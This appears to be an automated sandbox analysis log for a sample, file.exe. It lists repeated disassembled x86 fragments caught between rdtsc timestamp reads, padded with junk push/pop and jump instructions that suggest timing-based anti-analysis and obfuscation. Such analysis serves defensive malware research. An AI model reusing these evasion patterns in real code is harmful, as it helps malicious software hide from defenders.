Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E5F4 second address: 95E604 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F98219BDB66h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E604 second address: 95E608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95EE41 second address: 95EE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F98219BDB76h 0x0000000d jmp 00007F98219BDB79h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95EE78 second address: 95EE7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F138 second address: 95F15E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB79h 0x00000007 ja 00007F98219BDB66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96367E second address: 963684 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963684 second address: 963690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F98219BDB66h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963690 second address: 963694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963AD2 second address: 963AF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F98219BDB78h 0x00000009 je 00007F98219BDB66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963EFF second address: 963F03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963F03 second address: 963F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964037 second address: 96403F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96403F second address: 964046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964046 second address: 964054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9820CD6B9Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964054 second address: 964058 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B1CD second address: 96B1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9820CD6BA1h 0x00000009 jmp 00007F9820CD6B9Bh 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971916 second address: 971930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F98219BDB6Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F98219BDB66h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971A74 second address: 971A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9820CD6B96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971A80 second address: 971A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971A89 second address: 971ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9820CD6B96h 0x0000000a jmp 00007F9820CD6B9Eh 0x0000000f popad 0x00000010 jl 00007F9820CD6BAEh 0x00000016 jmp 00007F9820CD6BA6h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jo 00007F9820CD6B96h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971ACA second address: 971ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971C1A second address: 971C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971C1E second address: 971C32 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F98219BDB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F98219BDB66h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971C32 second address: 971C61 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9820CD6B96h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F9820CD6B9Bh 0x00000012 push edi 0x00000013 pop edi 0x00000014 jng 00007F9820CD6B96h 0x0000001a popad 0x0000001b popad 0x0000001c push ecx 0x0000001d push ecx 0x0000001e push eax 0x0000001f pop eax 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 jnp 00007F9820CD6B96h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973046 second address: 973055 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9771F2 second address: 9771FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9771FB second address: 977205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C8DE second address: 97C8FA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9820CD6B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9820CD6BA0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97EFD1 second address: 97F010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F98219BDB66h 0x0000000a jmp 00007F98219BDB79h 0x0000000f jne 00007F98219BDB66h 0x00000015 popad 0x00000016 jnc 00007F98219BDB68h 0x0000001c pop ecx 0x0000001d pushad 0x0000001e push ecx 0x0000001f jc 00007F98219BDB66h 0x00000025 pop ecx 0x00000026 push ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B92F second address: 98B935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B935 second address: 98B93B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B506 second address: 98B510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9820CD6B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B674 second address: 98B678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EF4F second address: 98EF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9820CD6B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EF59 second address: 98EF68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB6Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994D75 second address: 994D79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A007B second address: 9A0089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F98219BDB6Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0089 second address: 9A008D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A008D second address: 9A00A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F98219BDB73h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A00A6 second address: 9A00B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9820CD6B9Ah 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A62FC second address: 9A6315 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F98219BDB73h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A643C second address: 9A644E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F9820CD6B9Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A644E second address: 9A6452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6452 second address: 9A6458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6BDD second address: 9A6C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007F98219BDB66h 0x00000010 jmp 00007F98219BDB71h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB333 second address: 9AB347 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9820CD6B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB347 second address: 9AB356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F98219BDB66h 0x0000000a popad 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE24 second address: 9AAE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9820CD6B9Dh 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE38 second address: 9AAE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE3E second address: 9AAE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9820CD6B96h 0x0000000a popad 0x0000000b je 00007F9820CD6BACh 0x00000011 jmp 00007F9820CD6BA0h 0x00000016 jnc 00007F9820CD6B96h 0x0000001c jc 00007F9820CD6BABh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE6D second address: 9AAE8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F98219BDB6Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F98219BDB6Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE8F second address: 9AAE94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF493 second address: 9AF49D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF49D second address: 9AF4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF4A3 second address: 9AF4A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4D2B second address: 9B4D2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4D2F second address: 9B4D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4D35 second address: 9B4D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9820CD6BA1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4D4C second address: 9B4D72 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jno 00007F98219BDB66h 0x00000009 jmp 00007F98219BDB70h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F98219BDB66h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4D72 second address: 9B4D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4D76 second address: 9B4D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F98219BDB66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F98219BDB6Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4D8C second address: 9B4D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F9820CD6B96h 0x0000000a jng 00007F9820CD6B96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B70A9 second address: 9B70AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B70AD second address: 9B70B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7FF7 second address: 9C7FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9DC0 second address: 9C9DC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9EDA second address: 9C9EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC7A9 second address: 9CC7B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9820CD6B9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC7B9 second address: 9CC7C9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jc 00007F98219BDB66h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC7C9 second address: 9CC7CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC7CD second address: 9CC7D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8F28 second address: 9D8F37 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9820CD6B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCEB8 second address: 9DCEC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F98219BDB66h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCEC8 second address: 9DCECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD00C second address: 9DD02B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F98219BDB79h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD332 second address: 9DD37B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9820CD6BA5h 0x00000008 pushad 0x00000009 popad 0x0000000a jnl 00007F9820CD6B96h 0x00000010 jmp 00007F9820CD6BA3h 0x00000015 popad 0x00000016 push edi 0x00000017 pushad 0x00000018 popad 0x00000019 jl 00007F9820CD6B96h 0x0000001f pop edi 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jno 00007F9820CD6B96h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD7F7 second address: 9DD82B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F98219BDB76h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F98219BDB73h 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD82B second address: 9DD83A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F9820CD6B96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1D69 second address: 9E1D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F98219BDB73h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1D88 second address: 9E1D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1DE3 second address: 9E1E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 or edx, dword ptr [ebp+122D2997h] 0x0000000e push 00000004h 0x00000010 or edx, 331BCB98h 0x00000016 push eax 0x00000017 jp 00007F98219BDB6Bh 0x0000001d pop edx 0x0000001e call 00007F98219BDB69h 0x00000023 push eax 0x00000024 push edx 0x00000025 jne 00007F98219BDB68h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1E19 second address: 9E1E62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6BA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F9820CD6B9Ch 0x00000011 jp 00007F9820CD6B96h 0x00000017 pop edx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jbe 00007F9820CD6BA3h 0x00000022 jmp 00007F9820CD6B9Dh 0x00000027 mov eax, dword ptr [eax] 0x00000029 push esi 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3C51 second address: 9E3C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E581E second address: 9E5822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5822 second address: 9E582E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F98219BDB66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50502E0 second address: 50502FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6BA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50502FC second address: 5050300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050300 second address: 5050306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050306 second address: 505030C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505030C second address: 505031B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505031B second address: 505032F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505032F second address: 5050341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9820CD6B9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050341 second address: 5050345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050345 second address: 5050357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov bx, 15B0h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050357 second address: 50503A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a mov di, 4AE0h 0x0000000e pushad 0x0000000f push edx 0x00000010 pop eax 0x00000011 movsx ebx, cx 0x00000014 popad 0x00000015 popad 0x00000016 pop ebp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F98219BDB78h 0x0000001e xor ax, 7058h 0x00000023 jmp 00007F98219BDB6Bh 0x00000028 popfd 0x00000029 push eax 0x0000002a push edx 0x0000002b mov esi, 4179DBA5h 0x00000030 rdtsc
